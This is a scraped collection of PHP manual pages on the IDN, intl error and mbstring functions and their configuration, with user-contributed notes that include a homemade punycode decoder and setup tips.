php5-idn - PHP API for the IDNA library (e.g. in Debian/Ubuntu)


Convert domain name to IDNA ASCII form.

  • « IDN Functions
  • idn_to_unicode »
  • PHP Manual
  • IDN Functions
  • Convert domain name to IDNA ASCII form.

idn_to_ascii

(PHP 5 >= 5.3.0, PECL intl >= 1.0.2, PECL idn >= 0.1)

idn_to_ascii — Convert domain name to IDNA ASCII form.

Description

Procedural style

string idn_to_ascii ( string $domain [, int $options = 0 [, int $variant = INTL_IDNA_VARIANT_2003 [, array &$idna_info ]]] )

This function converts Unicode domain name to IDNA ASCII-compatible format.

Parameters

domain

Domain to convert. In PHP 5 must be UTF-8 encoded.

options

Conversion options - combination of IDNA_* constants (except IDNA_ERROR_* constants).

variant

Either INTL_IDNA_VARIANT_2003 for IDNA 2003 or INTL_IDNA_VARIANT_UTS46 for UTS #46.

idna_info

This parameter can be used only if INTL_IDNA_VARIANT_UTS46 was used for variant. In that case, it will be filled with an array with the keys 'result', the possibly illegal result of the transformation, 'isTransitionalDifferent', a boolean indicating whether the usage of the transitional mechanisms of UTS #46 either has or would have changed the result and 'errors', which is an int representing a bitset of the error constants IDNA_ERROR_*.

Return Values

Domain name encoded in ASCII-compatible form. or FALSE on failure

Changelog

Version | Description
5.4.0/PECL 2.0.0b1 | Added the parameters variant and idna_info; UTS #46 support.

Examples

Example #1 idn_to_ascii() example

<?php

echo idn_to_ascii('täst.de');

?>

The above example will output:

xn--tst-qla.de

See Also

  • idn_to_unicode() - Alias of idn_to_utf8

User Contributed Notes

edible dot email at gmail dot com 03-Jun-2012 02:08
The notes on this function are not very clear and a little misleading.

Firstly, <=5.3, you will need to make use of one of several scripts or classes available on the internet which might, or might not, require the installation of of the intl and idn PECL extensions ...and you will need to have !<4.0 in order to be able to install both.

Secondly, if you have >=5.4 you will not require the PECL extensions.

Third, use of utf8_encode() is not necessary.  In fact, it will potentially prevent idn_to_ascii() from working at all.

On my setup it was necessary to change the charset in the script meta tags to UTF-8:

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

...and to change charset_default in the php.ini file (/usr/local/lib/php.ini, whereis php.ini, find / -name php.ini):

default_charset = "UTF-8"

The above changes mean that idn_to_ascii() can now be used with that syntax (no need for utf8_encode()).  Previously, the function worked to convert some IDNs, but failed to convert Japanese and Cyrillic IDNs.  Further, no additional locales were enabled or added, and Apache's charset file was left unmodified.

It is also important to remember only to apply the function where required, eg:

idn_to_ascii(cåsino.com) // is wrong

...whereas...

iden_to_ascii(cåsino) // is right

...and also be aware of text editors that don't support UTF-8 encoding, or the $domain = 'cåsino' value will end up as $domain = '??????' ...and the function will fail.

I have found that Notepad++ easily and reliably handles UTF-8 encoding that works for this function using UTF-8 as the encoding option, not UTF-8 without BOM.
Eman 11-Nov-2010 01:57
With PHP 5.3 I started to recieve

Fatal error: Only variables can be passed by reference

when trying to call idn_to_ascii with second optional parameter (IDNA_DEFAULT).
Moreover these IDNA_* constants are seem to be undefined in PHP 5.3. + PECL idn 0.0.2

When I tried to uninstall PECL idn and install PECL intl (1.1.1) i recieved this:

/tmp/pear/temp/intl/collator/collator_class.c:92: error: duplicate ‘static’
/tmp/pear/temp/intl/collator/collator_class.c:96: error: duplicate ‘static’
/tmp/pear/temp/intl/collator/collator_class.c:101: error: duplicate ‘static’
/tmp/pear/temp/intl/collator/collator_class.c:107: error: duplicate ‘static’
make: *** [collator/collator_class.lo] Error 1

So probably compiling PHP 5.3. from sources with --enable-intl will help, but it only means that PHP 5.3. intl version differs from the one available at PECL, which isn't good, I think.

I've made my code working again by giving second idn_to_ascii parameter as simple integer variable (with value 0), but something bad is going on here and i will not be surprised if it'll break again after another PHP update...


Alias of idn_to_utf8

  • « idn_to_ascii
  • idn_to_utf8 »
  • PHP Manual
  • IDN Functions
  • Alias of idn_to_utf8

idn_to_unicode

(No version information available, might only be in Git)

idn_to_unicode — Alias of idn_to_utf8()

Description

This function is an alias of: idn_to_utf8().

User Contributed Notes

There are no user contributed notes for this page.


Convert domain name from IDNA ASCII to Unicode.

  • « idn_to_unicode
  • IntlException »
  • PHP Manual
  • IDN Functions
  • Convert domain name from IDNA ASCII to Unicode.

idn_to_utf8

(PHP 5 >= 5.3.0, PECL intl >= 1.0.2, PECL idn >= 0.1)

idn_to_utf8 — Convert domain name from IDNA ASCII to Unicode.

Description

Procedural style

string idn_to_utf8 ( string $domain [, int $options = 0 [, int $variant = INTL_IDNA_VARIANT_2003 [, array &$idna_info ]]] )

This function converts Unicode domain name from IDNA ASCII-compatible format to plain Unicode, encoded in UTF-8.

Parameters

domain

Domain to convert in IDNA ASCII-compatible format.

options

Conversion options - combination of IDNA_* constants (except IDNA_ERROR_* constants).

variant

Either INTL_IDNA_VARIANT_2003 for IDNA 2003 or INTL_IDNA_VARIANT_UTS46 for UTS #46.

idna_info

This parameter can be used only if INTL_IDNA_VARIANT_UTS46 was used for variant. In that case, it will be filled with an array with the keys 'result', the possibly illegal result of the transformation, 'isTransitionalDifferent', a boolean indicating whether the usage of the transitional mechanisms of UTS #46 either has or would have changed the result and 'errors', which is an int representing a bitset of the error constants IDNA_ERROR_*.

Return Values

Domain name in Unicode, encoded in UTF-8. or FALSE on failure

Changelog

Version | Description
5.4.0/PECL 2.0.0b1 | Added the parameters variant and idna_info; UTS #46 support.

Examples

Example #1 idn_to_utf8() example

<?php

echo idn_to_utf8('xn--tst-qla.de');

?>

The above example will output:

täst.de

See Also

  • idn_to_unicode() - Alias of idn_to_utf8

User Contributed Notes

petrox81 at yahoo dot it 30-Jul-2013 11:31
Why idn_to_utf8('xn--sorra-lqa.it') output xn--sorra-lqa.it?

The correct output must be 'sßorra.it'
zedwood.com 21-Jun-2013 05:29
@kushik.com:
punyAdapt should be patched:
<?php
    private static function punyAdapt($delta, $numpoints, $firsttime)
    {
        $delta = (int)($firsttime ? $delta / 700 : $delta / 2);
        $delta += (int)($delta / $numpoints);
        for($k = 0; $delta > 455; $k+=36)
            $delta = (int)($delta / 35);
        }
        return $k + (int)((36) * $delta / ($delta + 38));
    }
?>
kushik.com 02-May-2013 10:36
<?php
// for those who has PHP older than version 5.3
class IDN {
    // adapt bias for punycode algorithm
    private static function punyAdapt(
        $delta,
        $numpoints,
        $firsttime
    ) {
        $delta = $firsttime ? $delta / 700 : $delta / 2;
        $delta += $delta / $numpoints;
        for ($k = 0; $delta > 455; $k += 36)
            $delta = intval($delta / 35);
        return $k + (36 * $delta) / ($delta + 38);
    }

    // translate character to punycode number
    private static function decodeDigit($cp) {
        $cp = strtolower($cp);
        if ($cp >= 'a' && $cp <= 'z')
            return ord($cp) - ord('a');
        elseif ($cp >= '0' && $cp <= '9')
            return ord($cp) - ord('0')+26;
    }

    // make utf8 string from unicode codepoint number
    private static function utf8($cp) {
        if ($cp < 128) return chr($cp);
        if ($cp < 2048)
            return chr(192+($cp >> 6)).chr(128+($cp & 63));
        if ($cp < 65536) return
            chr(224+($cp >> 12)).
            chr(128+(($cp >> 6) & 63)).
            chr(128+($cp & 63));
        if ($cp < 2097152) return
            chr(240+($cp >> 18)).
            chr(128+(($cp >> 12) & 63)).
            chr(128+(($cp >> 6) & 63)).
            chr(128+($cp & 63));
        // it should never get here
    }

    // main decoding function
    private static function decodePart($input) {
        if (substr($input,0,4) != "xn--") // prefix check...
            return $input;
        $input = substr($input,4); // discard prefix
        $a = explode("-",$input);
        if (count($a) > 1) {
            $input = str_split(array_pop($a));
            $output = str_split(implode("-",$a));
        } else {
            $output = array();
            $input = str_split($input);
        }
        $n = 128; $i = 0; $bias = 72; // init punycode vars
        while (!empty($input)) {
            $oldi = $i;
            $w = 1;
            for ($k = 36;;$k += 36) {
                $digit = IDN::decodeDigit(array_shift($input));
                $i += $digit * $w;
                if ($k <= $bias) $t = 1;
                elseif ($k >= $bias + 26) $t = 26;
                else $t = $k - $bias;
                if ($digit < $t) break;
                $w *= intval(36 - $t);
            }
            $bias = IDN::punyAdapt(
                $i-$oldi,
                count($output)+1,
                $oldi == 0
            );
            $n += intval($i / (count($output) + 1));
            $i %= count($output) + 1;
            array_splice($output,$i,0,array(IDN::utf8($n)));
            $i++;
        }
        return implode("",$output);
    }

    public static function decodeIDN($name) {
        // split it, parse it and put it back together
        return
            implode(
                ".",
                array_map("IDN::decodePart",explode(".",$name))
            );
    }

}
echo IDN::decodeIDN($_SERVER['HTTP_HOST']);
?>


Exception class for intl errors

(PHP 5 > 5.5.0, PECL intl > 3.0.0a1)

Introduction

This class is used for generating exceptions when errors occur inside intl functions. Such exceptions are only generated when intl.use_exceptions is enabled.

Class synopsis

IntlException extends Exception {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

There are no user contributed notes for this page.


The IntlIterator class

(No version information available, might only be in Git)

Introduction

This class represents iterator objects throughout the intl extension whenever the iterator cannot be identified with any other object provided by the extension. The distinct iterator object used internally by the foreach construct can only be obtained (in the relevant part here) from objects, so objects of this class serve the purpose of providing the hook through which this internal object can be obtained. As a convenience, this class also implements the Iterator interface, allowing the collection of values to be navigated using the methods defined in that interface. Both these methods and the internal iterator objects provided to foreach are backed by the same state (e.g. the position of the iterator and its current value).

Subclasses may provide richer functionality.

Class synopsis

IntlIterator implements Iterator {
/* Methods */
public ReturnType current ( void )
public ReturnType key ( void )
public ReturnType next ( void )
public ReturnType rewind ( void )
public ReturnType valid ( void )
}

Table of Contents

  • IntlIterator::current — Get the current element
  • IntlIterator::key — Get the current key
  • IntlIterator::next — Move forward to the next element
  • IntlIterator::rewind — Rewind the iterator to the first element
  • IntlIterator::valid — Check if current position is valid

User Contributed Notes

There are no user contributed notes for this page.


Get the current element

  • « IntlIterator
  • IntlIterator::key »
  • PHP Manual
  • IntlIterator
  • Get the current element

IntlIterator::current

(No version information available, might only be in Git)

IntlIterator::current — Get the current element

Description

public ReturnType IntlIterator::current ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get the current key

  • « IntlIterator::current
  • IntlIterator::next »
  • PHP Manual
  • IntlIterator
  • Get the current key

IntlIterator::key

(No version information available, might only be in Git)

IntlIterator::key — Get the current key

Description

public ReturnType IntlIterator::key ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Move forward to the next element

  • « IntlIterator::key
  • IntlIterator::rewind »
  • PHP Manual
  • IntlIterator
  • Move forward to the next element

IntlIterator::next

(No version information available, might only be in Git)

IntlIterator::next — Move forward to the next element

Description

public ReturnType IntlIterator::next ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Rewind the iterator to the first element

  • « IntlIterator::next
  • IntlIterator::valid »
  • PHP Manual
  • IntlIterator
  • Rewind the iterator to the first element

IntlIterator::rewind

(No version information available, might only be in Git)

IntlIterator::rewind — Rewind the iterator to the first element

Description

public ReturnType IntlIterator::rewind ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Check if current position is valid

  • « IntlIterator::rewind
  • intl Functions »
  • PHP Manual
  • IntlIterator
  • Check if current position is valid

IntlIterator::valid

(No version information available, might only be in Git)

IntlIterator::valid — Check if current position is valid

Description

public ReturnType IntlIterator::valid ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


intl Functions

Table of Contents

  • intl_error_name — Get symbolic name for a given error code
  • intl_get_error_code — Get the last error code
  • intl_get_error_message — Get description of the last error
  • intl_is_failure — Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.


Get symbolic name for a given error code

  • « intl Functions
  • intl_get_error_code »
  • PHP Manual
  • intl Functions
  • Get symbolic name for a given error code

intl_error_name

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

intl_error_name — Get symbolic name for a given error code

Description

string intl_error_name ( int $error_code )

Return ICU error code name.

Parameters

error_code

ICU error code.

Return Values

The returned string will be the same as the name of the error code constant.

Examples

Example #1 intl_error_name() example

<?php
$coll     = collator_create( 'en_RU' );
$err_code = collator_get_error_code( $coll );

printf( "Symbolic name for %d is %s\n.", $err_code, intl_error_name( $err_code ) );
?>

The above example will output something similar to:

Symbolic name for -128 is U_USING_FALLBACK_WARNING.

See Also

  • intl_is_failure() - Check whether the given error code indicates failure
  • intl_get_error_code() - Get the last error code
  • intl_get_error_message() - Get description of the last error

User Contributed Notes

There are no user contributed notes for this page.


Get the last error code

  • « intl_error_name
  • intl_get_error_message »
  • PHP Manual
  • intl Functions
  • Get the last error code

intl_get_error_code

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

intl_get_error_code — Get the last error code

Description

int intl_get_error_code ( void )

Useful to handle errors occurred in static methods when there's no object to get error code from.

Return Values

Error code returned by the last API function call.

Examples

Example #1 intl_get_error_code() example

<?php
$coll = collator_create( '<bad_param>' );
if( !$coll ) {
    handle_error( intl_get_error_code() );
}
?>

See Also

  • intl_is_failure() - Check whether the given error code indicates failure
  • intl_error_name() - Get symbolic name for a given error code
  • intl_get_error_message() - Get description of the last error
  • collator_get_error_code() - Get collator's last error code
  • numfmt_get_error_code() - Get formatter's last error code.

User Contributed Notes

There are no user contributed notes for this page.


Get description of the last error

  • « intl_get_error_code
  • intl_is_failure »
  • PHP Manual
  • intl Functions
  • Get description of the last error

intl_get_error_message

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

intl_get_error_message — Get description of the last error

Description

string intl_get_error_message ( void )

Get error message from last internationalization function called.

Return Values

Description of an error occurred in the last API function call.

Examples

Example #1 intl_get_error_message() example

<?php
if( Collator::getAvailableLocales() === false ) {
    show_error( intl_get_error_message() );
}
?>

See Also

  • intl_error_name() - Get symbolic name for a given error code
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure
  • collator_get_error_message() - Get text for collator's last error code
  • numfmt_get_error_message() - Get formatter's last error message.

User Contributed Notes

There are no user contributed notes for this page.


Check whether the given error code indicates failure

  • « intl_get_error_message
  • Multibyte String »
  • PHP Manual
  • intl Functions
  • Check whether the given error code indicates failure

intl_is_failure

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

intl_is_failure — Check whether the given error code indicates failure

Description

bool intl_is_failure ( int $error_code )

Parameters

error_code

is a value that returned by functions: intl_get_error_code(), collator_get_error_code() .

Return Values

TRUE if it the code indicates some failure, and FALSE in case of success or a warning.

Examples

Example #1 intl_is_failure() example

<?php
function check( $err_code )
{
    var_export( intl_is_failure( $err_code ) );
    echo "\n";
}

check( U_ZERO_ERROR );
check( U_USING_FALLBACK_WARNING );
check( U_ILLEGAL_ARGUMENT_ERROR );
?>

The above example will output something similar to:

false
false
true

See Also

  • intl_get_error_code() - Get the last error code
  • collator_get_error_code() - Get collator's last error code
  • Collator-getErrorCode() - Get collator's last error code

User Contributed Notes

There are no user contributed notes for this page.


Multibyte String

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Summaries of supported encodings
  • Basics of Japanese multi-byte encodings
  • HTTP Input and Output
  • Supported Character Encodings
  • Function Overloading Feature
  • PHP Character Encoding Requirements
  • Multibyte String Functions
    • mb_check_encoding — Check if the string is valid for the specified encoding
    • mb_convert_case — Perform case folding on a string
    • mb_convert_encoding — Convert character encoding
    • mb_convert_kana — Convert "kana" one from another ("zen-kaku", "han-kaku" and more)
    • mb_convert_variables — Convert character code in variable(s)
    • mb_decode_mimeheader — Decode string in MIME header field
    • mb_decode_numericentity — Decode HTML numeric string reference to character
    • mb_detect_encoding — Detect character encoding
    • mb_detect_order — Set/Get character encoding detection order
    • mb_encode_mimeheader — Encode string for MIME header
    • mb_encode_numericentity — Encode character to HTML numeric string reference
    • mb_encoding_aliases — Get aliases of a known encoding type
    • mb_ereg_match — Regular expression match for multibyte string
    • mb_ereg_replace_callback — Perform a regular expresssion seach and replace with multibyte support using a callback
    • mb_ereg_replace — Replace regular expression with multibyte support
    • mb_ereg_search_getpos — Returns start point for next regular expression match
    • mb_ereg_search_getregs — Retrieve the result from the last multibyte regular expression match
    • mb_ereg_search_init — Setup string and regular expression for a multibyte regular expression match
    • mb_ereg_search_pos — Returns position and length of a matched part of the multibyte regular expression for a predefined multibyte string
    • mb_ereg_search_regs — Returns the matched part of a multibyte regular expression
    • mb_ereg_search_setpos — Set start point of next regular expression match
    • mb_ereg_search — Multibyte regular expression match for predefined multibyte string
    • mb_ereg — Regular expression match with multibyte support
    • mb_eregi_replace — Replace regular expression with multibyte support ignoring case
    • mb_eregi — Regular expression match ignoring case with multibyte support
    • mb_get_info — Get internal settings of mbstring
    • mb_http_input — Detect HTTP input character encoding
    • mb_http_output — Set/Get HTTP output character encoding
    • mb_internal_encoding — Set/Get internal character encoding
    • mb_language — Set/Get current language
    • mb_list_encodings — Returns an array of all supported encodings
    • mb_output_handler — Callback function converts character encoding in output buffer
    • mb_parse_str — Parse GET/POST/COOKIE data and set global variable
    • mb_preferred_mime_name — Get MIME charset string
    • mb_regex_encoding — Set/Get character encoding for multibyte regex
    • mb_regex_set_options — Set/Get the default options for mbregex functions
    • mb_send_mail — Send encoded mail
    • mb_split — Split multibyte string using regular expression
    • mb_strcut — Get part of string
    • mb_strimwidth — Get truncated string with specified width
    • mb_stripos — Finds position of first occurrence of a string within another, case insensitive
    • mb_stristr — Finds first occurrence of a string within another, case insensitive
    • mb_strlen — Get string length
    • mb_strpos — Find position of first occurrence of string in a string
    • mb_strrchr — Finds the last occurrence of a character in a string within another
    • mb_strrichr — Finds the last occurrence of a character in a string within another, case insensitive
    • mb_strripos — Finds position of last occurrence of a string within another, case insensitive
    • mb_strrpos — Find position of last occurrence of a string in a string
    • mb_strstr — Finds first occurrence of a string within another
    • mb_strtolower — Make a string lowercase
    • mb_strtoupper — Make a string uppercase
    • mb_strwidth — Return width of string
    • mb_substitute_character — Set/Get substitution character
    • mb_substr_count — Count the number of substring occurrences
    • mb_substr — Get part of string

User Contributed Notes

There are no user contributed notes for this page.


Introduction

While there are many languages in which every necessary character can be represented by a one-to-one mapping to an 8-bit value, there are also several languages which require so many characters for written communication that they cannot be contained within the range a mere byte can code (A byte is made up of eight bits. Each bit can contain only two distinct values, one or zero. Because of this, a byte can only represent 256 unique values (two to the power of eight)). Multibyte character encoding schemes were developed to express more than 256 characters in the regular bytewise coding system.

When you manipulate (trim, split, splice, etc.) strings encoded in a multibyte encoding, you need to use special functions since two or more consecutive bytes may represent a single character in such encoding schemes. Otherwise, if you apply a non-multibyte-aware string function to the string, it probably fails to detect the beginning or ending of the multibyte character and ends up with a corrupted garbage string that most likely loses its original meaning.

mbstring provides multibyte specific string functions that help you deal with multibyte encodings in PHP. In addition to that, mbstring handles character encoding conversion between the possible encoding pairs. mbstring is designed to handle Unicode-based encodings such as UTF-8 and UCS-2 and many single-byte encodings for convenience (listed below).

User Contributed Notes

Ant P. 19-Feb-2009 10:12
As mentioned on the "Function Overloading" page, you can get the benefits of this module in existing code with almost zero effort on your part - just set "mbstring.func_overload" in php.ini.


Installation

mbstring is a non-default extension. This means it is not enabled by default. You must explicitly enable the module with the configure option. See the Install section for details.

The following configure options are related to the mbstring module.

  • --enable-mbstring : Enable mbstring functions. This option is required to use mbstring functions.

    libmbfl is necesarry for mbstring. libmbfl is bundled with mbstring. If libmbfl is already installed on the system, --with-libmbfl[=DIR] can be specified to use the installed library.

    As of PHP 4.3.0, mbstring extension provides enhanced support for Simplified Chinese, Traditional Chinese, Korean, and Russian in addition to Japanese.

    For PHP 4.3.3 or before, To enable that feature, you will have to supply either one of the following options to the LANG parameter of --enable-mbstring=LANG ; --enable-mbstring=cn for Simplified Chinese support, --enable-mbstring=tw for Traditional Chinese support, --enable-mbstring=kr for Korean support, --enable-mbstring=ru for Russian support, and --enable-mbstring=ja for Japanese support (default). To enable all supported encoding, use --enable-mbstring=all .

    Note:

    As of PHP 4.3.4, all supported encoding by libmbfl is enabled with --enable-mbstring .

  • --enable-mbstr-enc-trans : Enable HTTP input character encoding conversion using mbstring conversion engine. If this feature is enabled, HTTP input character encoding may be converted to mbstring.internal_encoding automatically.

    Note:

    As of PHP 4.3.0, the option --enable-mbstr-enc-trans was eliminated and replaced with the runtime setting mbstring.encoding_translation. HTTP input character encoding conversion is enabled when this is set to On (the default is Off).

  • --disable-mbregex : Disable regular expression functions with multibyte character support.

User Contributed Notes

jmckenna at gatewaygeomatics dot com 08-Sep-2009 08:59
The mb_split() function requires PHP to be compiled with --enable-mbregex (as of PHP 5.3.0).

-jeff
kacz at kaczmarowski dot com 08-Feb-2009 08:22
Fedora 9 -- yum install php-mbstring then httpd -k restart to freshen the environment.

[EDIT BY danbrown AT php DOT net: This is true for all Red Hat Linux-based distributions using RPM and the `yum` package manager; this includes RHEL, Fedora, CentOS, Mandriva, and Intrinsic Linux, among others.]
tom at ritter dot vg 19-Dec-2008 05:00
To compile with the mbstring option in gentoo, use the 'unicode' USE flag.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

mbstring configuration options
Name | Default | Changeable | Changelog
mbstring.language | "neutral" | PHP_INI_ALL | Available since PHP 4.3.0. PHP_INI_PERDIR in PHP <= 5.2.6
mbstring.detect_order | NULL | PHP_INI_ALL | Available since PHP 4.0.6.
mbstring.http_input | "pass" | PHP_INI_ALL | Available since PHP 4.0.6. Deprecated in PHP 5.6.0.
mbstring.http_output | "pass" | PHP_INI_ALL | Available since PHP 4.0.6. Deprecated in PHP 5.6.0.
mbstring.internal_encoding | NULL | PHP_INI_ALL | Available since PHP 4.0.6. Deprecated in PHP 5.6.0.
mbstring.script_encoding | NULL | PHP_INI_ALL | Available since PHP 4.3.0. Removed in PHP 5.4.0. Use zend.script_encoding instead.
mbstring.substitute_character | NULL | PHP_INI_ALL | Available since PHP 4.0.6.
mbstring.func_overload | "0" | PHP_INI_SYSTEM | PHP_INI_PERDIR from PHP 4.3 to 5.2.6, otherwise PHP_INI_SYSTEM. Available since PHP 4.2.0.
mbstring.encoding_translation | "0" | PHP_INI_PERDIR | Available since PHP 4.3.0.
mbstring.strict_detection | "0" | PHP_INI_ALL | Available since PHP 5.1.2.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

mbstring.language string

The default national language setting (NLS) used in mbstring. Note that this option automagically defines mbstring.internal_encoding and mbstring.internal_encoding should be placed after mbstring.language in php.ini

mbstring.encoding_translation boolean

Enables the transparent character encoding filter for the incoming HTTP queries, which performs detection and conversion of the input encoding to the internal character encoding.

mbstring.internal_encoding string
Warning

This feature has been DEPRECATED as of PHP 5.6.0. Relying on this feature is highly discouraged.

Defines the default internal character encoding.

PHP 5.6 and later users should leave this empty and set default_charset instead.

mbstring.http_input string
Warning

This feature has been DEPRECATED as of PHP 5.6.0. Relying on this feature is highly discouraged.

Defines the default HTTP input character encoding.

PHP 5.6 and later users should leave this empty and set default_charset instead.

mbstring.http_output string
Warning

This feature has been DEPRECATED as of PHP 5.6.0. Relying on this feature is highly discouraged.

Defines the default HTTP output character encoding (output will be converted from the internal encoding to the HTTP output encoding upon output).

PHP 5.6 and later users should leave this empty and set default_charset instead.

mbstring.detect_order string

Defines default character code detection order. See also mb_detect_order().

mbstring.substitute_character string

Defines character to substitute for invalid character encoding.

mbstring.func_overload string

Overloads a set of single byte functions by the mbstring counterparts. See Function overloading for more information.

This setting can only be changed from the php.ini file.

mbstring.strict_detection boolean

Enables the strict encoding detection.

According to the » HTML 4.01 specification, Web browsers are allowed to encode a form being submitted with a character encoding different from the one used for the page. See mb_http_input() to detect character encoding used by browsers.

Although popular browsers are capable of giving a reasonably accurate guess to the character encoding of a given HTML document, it would be better to set the charset parameter in the Content-Type HTTP header to the appropriate value by header() or default_charset ini setting.

Example #1 php.ini setting examples

; Set default language
mbstring.language        = Neutral; Set default language to Neutral(UTF-8) (default)
mbstring.language        = English; Set default language to English
mbstring.language        = Japanese; Set default language to Japanese

;; Set default internal encoding
;; Note: Make sure to use character encoding works with PHP
mbstring.internal_encoding    = UTF-8  ; Set internal encoding to UTF-8

;; HTTP input encoding translation is enabled.
mbstring.encoding_translation = On

;; Set default HTTP input character encoding
;; Note: Script cannot change http_input setting.
mbstring.http_input           = pass    ; No conversion.
mbstring.http_input           = auto    ; Set HTTP input to auto
                                ; "auto" is expanded according to mbstring.language
mbstring.http_input           = SJIS    ; Set HTTP input to SJIS
mbstring.http_input           = UTF-8,SJIS,EUC-JP ; Specify order

;; Set default HTTP output character encoding
mbstring.http_output          = pass    ; No conversion
mbstring.http_output          = UTF-8   ; Set HTTP output encoding to UTF-8

;; Set default character encoding detection order
mbstring.detect_order         = auto    ; Set detect order to auto
mbstring.detect_order         = ASCII,JIS,UTF-8,SJIS,EUC-JP ; Specify order

;; Set default substitute character
mbstring.substitute_character = 12307   ; Specify Unicode value
mbstring.substitute_character = none    ; Do not print character
mbstring.substitute_character = long    ; Long Example: U+3000,JIS+7E7E

Example #2 php.ini setting for EUC-JP users

;; Disable Output Buffering
output_buffering      = Off

;; Set HTTP header charset
default_charset       = EUC-JP

;; Set default language to Japanese
mbstring.language = Japanese

;; HTTP input encoding translation is enabled.
mbstring.encoding_translation = On

;; Set HTTP input encoding conversion to auto
mbstring.http_input   = auto

;; Convert HTTP output to EUC-JP
mbstring.http_output  = EUC-JP

;; Set internal encoding to EUC-JP
mbstring.internal_encoding = EUC-JP

;; Do not print invalid characters
mbstring.substitute_character = none

Example #3 php.ini setting for SJIS users

;; Enable Output Buffering
output_buffering     = On

;; Set mb_output_handler to enable output conversion
output_handler       = mb_output_handler

;; Set HTTP header charset
default_charset      = Shift_JIS

;; Set default language to Japanese
mbstring.language = Japanese

;; Set http input encoding conversion to auto
mbstring.http_input  = auto

;; Convert to SJIS
mbstring.http_output = SJIS

;; Set internal encoding to EUC-JP
mbstring.internal_encoding = EUC-JP

;; Do not print invalid characters
mbstring.substitute_character = none

User Contributed Notes

PRETTYGIRL NOT COMe 18-Aug-2013 08:51
Note that you should better at least set "mbstring.internal_encoding".

Just check as below:

<?php

echo mb_internal_encoding() . '<br />';
echo mb_regex_encoding();

?>

You might be surprised at unexpected values.

eg.

mbstring.language Japanese
;mbstring.internal_encoding (commented out showing "no value" in phpinfo() )

These two lines in "php.ini" are the same values as

mb_internal_encoding("EUC-JP");
mb_regex_encoding("EUC-JP");

in Win / Linux servers.

"mbstring.internal_encoding" defines the default encoding for "mb_" Functions such as "mb_strlen()".

It also defines the same for "mb_ereg_" Functions such as "mb_ereg()" when you don't set "mb_regex_encoding".


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

MB_OVERLOAD_MAIL (integer)
MB_OVERLOAD_STRING (integer)
MB_OVERLOAD_REGEX (integer)
MB_CASE_UPPER (integer)
MB_CASE_LOWER (integer)
MB_CASE_TITLE (integer)

User Contributed Notes

There are no user contributed notes for this page.


Summaries of supported encodings

Summaries of supported encodings
Name in the IANA character set registry | Underlying character set | Description | Additional note
ISO-10646-UCS-4 | ISO 10646 | The Universal Character Set with 31-bit code space, standardized as UCS-4 by ISO/IEC 10646. It is kept synchronized with the latest version of the Unicode code map. | If this name is used in the encoding conversion facility, the converter attempts to identify by the preceding BOM (byte order mark)in which endian the subsequent bytes are represented.
ISO-10646-UCS-4 | UCS-4 | See above. | In contrast to UCS-4, strings are always assumed to be in big endian form.
ISO-10646-UCS-4 | UCS-4 | See above. | In contrast to UCS-4, strings are always assumed to be in little endian form.
ISO-10646-UCS-2 | UCS-2 | The Universal Character Set with 16-bit code space, standardized as UCS-2 by ISO/IEC 10646. It is kept synchronized with the latest version of the unicode code map. | If this name is used in the encoding conversion facility, the converter attempts to identify by the preceding BOM (byte order mark)in which endian the subsequent bytes are represented.
ISO-10646-UCS-2 | UCS-2 | See above. | In contrast to UCS-2, strings are always assumed to be in big endian form.
ISO-10646-UCS-2 | UCS-2 | See above. | In contrast to UCS-2, strings are always assumed to be in little endian form.
UTF-32 | Unicode | Unicode Transformation Format of 32-bit unit width, whose encoding space refers to the Unicode's codeset standard. This encoding scheme wasn't identical to UCS-4 because the code space of Unicode were limited to a 21-bit value. | If this name is used in the encoding conversion facility, the converter attempts to identify by the preceding BOM (byte order mark)in which endian the subsequent bytes are represented.
UTF-32BE | Unicode | See above | In contrast to UTF-32, strings are always assumed to be in big endian form.
UTF-32LE | Unicode | See above | In contrast to UTF-32, strings are always assumed to be in little endian form.
UTF-16 | Unicode | Unicode Transformation Format of 16-bit unit width. It's worth a note that UTF-16 is no longer the same specification as UCS-2 because the surrogate mechanism has been introduced since Unicode 2.0 and UTF-16 now refers to a 21-bit code space. | If this name is used in the encoding conversion facility, the converter attempts to identify by the preceding BOM (byte order mark)in which endian the subsequent bytes are represented.
UTF-16BE | Unicode | See above. | In contrast to UTF-16, strings are always assumed to be in big endian form.
UTF-16LE | Unicode | See above. | In contrast to UTF-16, strings are always assumed to be in little endian form.
UTF-8 | Unicode / UCS | Unicode Transformation Format of 8-bit unit width. | none
UTF-7 | Unicode | A mail-safe transformation format of Unicode, specified in » RFC2152. | none
(none) | Unicode | A variant of UTF-7 which is specialized for use in the » IMAP protocol. | none
